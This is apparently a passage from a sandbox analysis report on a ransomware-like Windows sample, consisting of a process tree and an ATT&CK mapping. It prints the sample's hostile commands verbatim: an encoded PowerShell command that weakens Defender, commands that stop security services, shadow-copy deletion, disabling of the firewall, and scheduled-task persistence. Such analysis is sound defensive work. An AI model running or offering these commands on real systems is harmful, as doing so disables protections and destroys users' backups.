PID 4292 wrote to memory of 2460	4292	lumm.io_chrome.exe	144
PID 4292 wrote to memory of 1768	4292	lumm.io_chrome.exe	145
PID 4292 wrote to memory of 4824	4292	lumm.io_chrome.exe	146
PID 4292 wrote to memory of 1724	4292	lumm.io_chrome.exe	147
PID 4292 wrote to memory of 5696	4292	lumm.io_chrome.exe	148
PID 4292 wrote to memory of 5320	4292	lumm.io_chrome.exe	153
PID 4292 wrote to memory of 5596	4292	lumm.io_chrome.exe	157
PID 1724 wrote to memory of 4856	1724	cmd.exe	158
PID 5288 wrote to memory of 6004	5288	cmd.exe	159
PID 5696 wrote to memory of 392	5696	cmd.exe	160
PID 1768 wrote to memory of 4952	1768	cmd.exe	161
PID 4824 wrote to memory of 4468	4824	cmd.exe	162
PID 1280 wrote to memory of 3524	1280	cmd.exe	163
PID 2460 wrote to memory of 3748	2460	cmd.exe	164
PID 4468 wrote to memory of 2488	4468	net.exe	165
PID 4292 wrote to memory of 2036	4292	lumm.io_chrome.exe	166
PID 4292 wrote to memory of 6060	4292	lumm.io_chrome.exe	167
PID 4292 wrote to memory of 3816	4292	lumm.io_chrome.exe	168
PID 4292 wrote to memory of 4976	4292	lumm.io_chrome.exe	169
PID 4292 wrote to memory of 396	4292	lumm.io_chrome.exe	173
PID 4292 wrote to memory of 4944	4292	lumm.io_chrome.exe	174
PID 5288 wrote to memory of 2888	5288	cmd.exe	178
PID 3816 wrote to memory of 2504	3816	net.exe	179
PID 4960 wrote to memory of 1100	4960	chrome.exe	182
PID 4960 wrote to memory of 2956	4960	chrome.exe	184
PID 4960 wrote to memory of 5068	4960	chrome.exe	183
PID 4960 wrote to memory of 2956	4960	chrome.exe	184
PID 4960 wrote to memory of 5068	4960	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4292
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://lumm.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffd8d27c728,0x7ffd8d27c734,0x7ffd8d27c740
    3⤵
    PID:5552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,15434188066432800676,6931425292886943675,524288 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=2044 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1356
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,9346089608851811100,14465210300996451106,262144 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=1904 /prefetch:2
    3⤵
    PID:624
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2308,i,7602591435715762677,6347756167633392749,524288 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=2708 /prefetch:13
    3⤵
    PID:4420
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3156,i,17003191101796892255,13685799880423363031,2097152 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=3196 /prefetch:1
    3⤵
    PID:3764
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3164,i,11233895623458431234,11451481562075378874,2097152 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=3224 /prefetch:1
    3⤵
    PID:1760
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4652,i,5310845228372772732,6651113742171750182,524288 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:14
    3⤵
    PID:3996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4868,i,18438424742314450551,334506278214536083,2097152 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=4888 /prefetch:1
    3⤵
    PID:5816
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5412,i,7559560301456448898,1486463179078826187,524288 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:14
    3⤵
    PID:1100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5476,i,5496058490406624499,2124948106646121640,2097152 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=5524 /prefetch:1
    3⤵
    PID:5068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5464,i,12131808901097111219,1256942656574900075,2097152 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=5504 /prefetch:1
    3⤵
    PID:2956
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5752,i,13002084111288554989,11864691811332042173,2097152 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:1
    3⤵
    PID:4840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5852,i,507940600900499251,13145014567547476224,2097152 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:1
    3⤵
    PID:1300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5760,i,12128508316190322540,1942566121576399238,524288 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:14
    3⤵
    PID:4556
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5464,i,81919515643255345,5116402227480399362,2097152 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=5752 /prefetch:1
    3⤵
    PID:2600
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6232,i,6521127502446774520,11142317816874790957,2097152 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=6224 /prefetch:1
    3⤵
    PID:5256
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5636,i,2045554749199119200,9006683995596903746,524288 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=5764 /prefetch:14
    3⤵
    PID:3060
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5648,i,12710034027315857374,11786210559134343663,524288 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:14
    3⤵
    PID:5984
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5508,i,14338145707453153891,11284854486474884832,524288 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=6204 /prefetch:14
    3⤵
    PID:4916
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6212,i,17755470213919723475,16346598651957760452,2097152 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:1
    3⤵
    PID:2684
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5708,i,10754150219795167563,3608179209560659293,2097152 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:1
    3⤵
    PID:5900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5516,i,18288185421313135907,10643533330115297315,524288 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:14
    3⤵
    PID:432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5552,i,8755783615792755910,7454256458856018833,524288 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:14
    3⤵
    PID:2604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=5728,i,11866223557195188869,903013116831857203,2097152 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:9
    3⤵
    PID:5084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5828,i,877258794756191299,12537117297183219056,2097152 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=5568 /prefetch:1
    3⤵
    PID:5644
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5740,i,5560041564727243148,18195190164439014421,262144 --field-trial-handle=1908,i,11263982261852004449,15852995696613437837,262144 --variations-seed-version --mojo-platform-channel-handle=5732 /prefetch:10
    3⤵
    PID:5964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:840
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1540
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3532
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4816
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3604
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:5592
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5980
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4348
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3680
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe"
    3⤵
    PID:3524
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2084
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3280
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1280
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3832
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:6004
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4160
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4780
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5288
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:6004
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2888
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1280
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:3524
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3748
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:4952
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4468
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2488
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4856
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5696
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:392
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5320
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5596
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2036
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6060
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3532
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3816
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2504
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4976
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4944

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3844

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:5592

C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe
1⤵
PID:328

C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\lumm.io_chrome.exe
1⤵
PID:3432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:1448

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery